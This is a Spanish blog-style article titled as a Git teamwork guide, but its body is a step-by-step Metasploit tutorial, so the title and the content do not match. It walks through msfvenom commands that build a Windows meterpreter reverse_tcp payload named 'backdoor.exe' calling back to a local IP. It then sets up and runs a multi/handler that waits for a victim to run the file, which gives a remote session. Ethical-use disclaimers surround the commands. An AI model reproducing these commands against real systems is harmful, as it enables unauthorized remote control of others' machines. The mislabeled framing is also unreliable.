Table of Contents

# Guía de Git Cómo trabajar en equipo en proyectos: Aprende a usar Git para controlar versiones, colaborar con otros desarrolladores y mantener tu código organizado.

Edison Achalma

Escuela Profesional de Economía, Universidad Nacional de San Cristóbal de Huamanga

# Nota de Autores

Edison Achalma Orcid ID Logo: A green circle with white letters ID <https://orcid.org/0000-0001-6996-3364>

El autor no tiene conflictos de interés que revelar.

Los roles de autor se clasificaron utilizando la taxonomía de roles de colaborador (CRediT; https://credit.niso.org/) de la siguiente manera: *Edison Achalma***:** conceptualización y redacción

La correspondencia relativa a este artículo debe dirigirse a Edison Achalma, Escuela Profesional de Economía, Universidad Nacional de San Cristóbal de Huamanga, Ayacucho, AYA, Perú, Email: [elmer.achalma.09@unsch.edu.pe](mailto:elmer.achalma.09@unsch.edu.pe)

# Resumen

*Palabras clave*: keyword1, keyword2

# Guía de Git Cómo trabajar en equipo en proyectos: Aprende a usar Git para controlar versiones, colaborar con otros desarrolladores y mantener tu código organizado.

# 1. Creando y Ejecutando un Payload Malicioso con Metasploit: Una Guía Paso a Paso

Hola a todos! Hoy vamos a sumergirnos en el fascinante mundo de la seguridad informática y la creación de un payload malicioso usando Metasploit. Si bien esta guía es con fines educativos, es crucial recordar que utilizar estas herramientas para actividades maliciosas es ilegal y antiético. ¡Usémoslas para aprender y proteger!

# 2. Paso 1: Obtener la Dirección IP con ifconfig

Primero, necesitamos conocer nuestra dirección IP local para configurar el payload. Usamos el comando ifconfig para obtener esta información. Abre tu terminal y escribe:

ifconfig

Esto mostrará todas las interfaces de red y sus respectivas direcciones IP. Busca la IP de tu red local. En este ejemplo, supongamos que es 192.168.122.152.

# 3. Paso 2: Crear el Payload con msfvenom

Ahora que tenemos nuestra dirección IP, vamos a crear el payload. Usaremos msfvenom, una herramienta que viene con Metasploit para generar payloads maliciosos. Queremos crear un payload que permita un acceso remoto a una máquina con Windows. Usamos el siguiente comando:

msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=192.168.122.152 LPORT=4444 -f exe -o backdoor.exe -a x64

Desglosamos el comando:

* -p windows/x64/meterpreter/reverse\_tcp: Especificamos el payload, que en este caso es un Meterpreter reverse TCP para Windows de 64 bits.
* LHOST=192.168.122.152: Establecemos nuestra dirección IP local como el host de escucha.
* LPORT=4444: Elegimos el puerto de escucha (puedes cambiarlo si es necesario).
* -f exe: Indicamos que el formato de salida debe ser un archivo ejecutable de Windows.
* -o backdoor.exe: Nombramos el archivo de salida backdoor.exe.
* -a x64: Especificamos la arquitectura del payload (64 bits).

# 4. Paso 3: Configurar el Handler en Metasploit

Una vez que tenemos nuestro payload, necesitamos configurar un handler en Metasploit para escuchar las conexiones entrantes. Iniciamos Metasploit con:

msfconsole -q

La opción -q es para iniciar Metasploit en modo silencioso.

# 5. Paso 4: Configurar el Exploit Handler

En la consola de Metasploit, seguimos estos pasos:

1. **Seleccionar el handler**:

* msf6 > use exploit/multi/handler
* Esto indica que usaremos el módulo handler para gestionar la conexión entrante.

1. **Configurar el payload**:

* msf6 > set payload windows/x64/meterpreter/reverse\_tcp

1. **Establecer el LHOST y LPORT**:

* msf6 > set lhost 192.168.122.152  
  msf6 > set lport 4444

1. **Verificar las opciones**:

* msf6 > show options
* Esto muestra todas las opciones configuradas para asegurar que todo esté correcto.

# 6. Paso 5: Ejecutar el Handler

Finalmente, ejecutamos el handler para empezar a escuchar conexiones:

msf6 > run

Ahora, el handler está activo y esperando que alguien ejecute el backdoor.exe en su máquina. Cuando esto suceda, obtendrás una sesión de Meterpreter y podrás interactuar con la máquina comprometida.

# 7. Conclusión

Este proceso demuestra cómo se puede crear y manejar un payload malicioso usando Metasploit. Nuevamente, subrayo la importancia de utilizar este conocimiento de manera ética y legal, principalmente para probar y fortalecer la seguridad de sistemas. Siempre asegúrate de tener permiso para realizar estas pruebas.

Espero que hayas encontrado esta guía informativa y útil. ¡Hasta la próxima!

# 8. Publicaciones Similares

Si te interesó este artículo, te recomendamos que explores otros blogs y recursos relacionados que pueden ampliar tus conocimientos. Aquí te dejo algunas sugerencias:

1. [Ejecutando Payload](https://achalmaedison.netlify.app/tecnologia-seguridad/ciberseguridad-ethical-hacking-ceh/2024-09-03-ejecutando-payload)

Esperamos que encuentres estas publicaciones igualmente interesantes y útiles. ¡Disfruta de la lectura!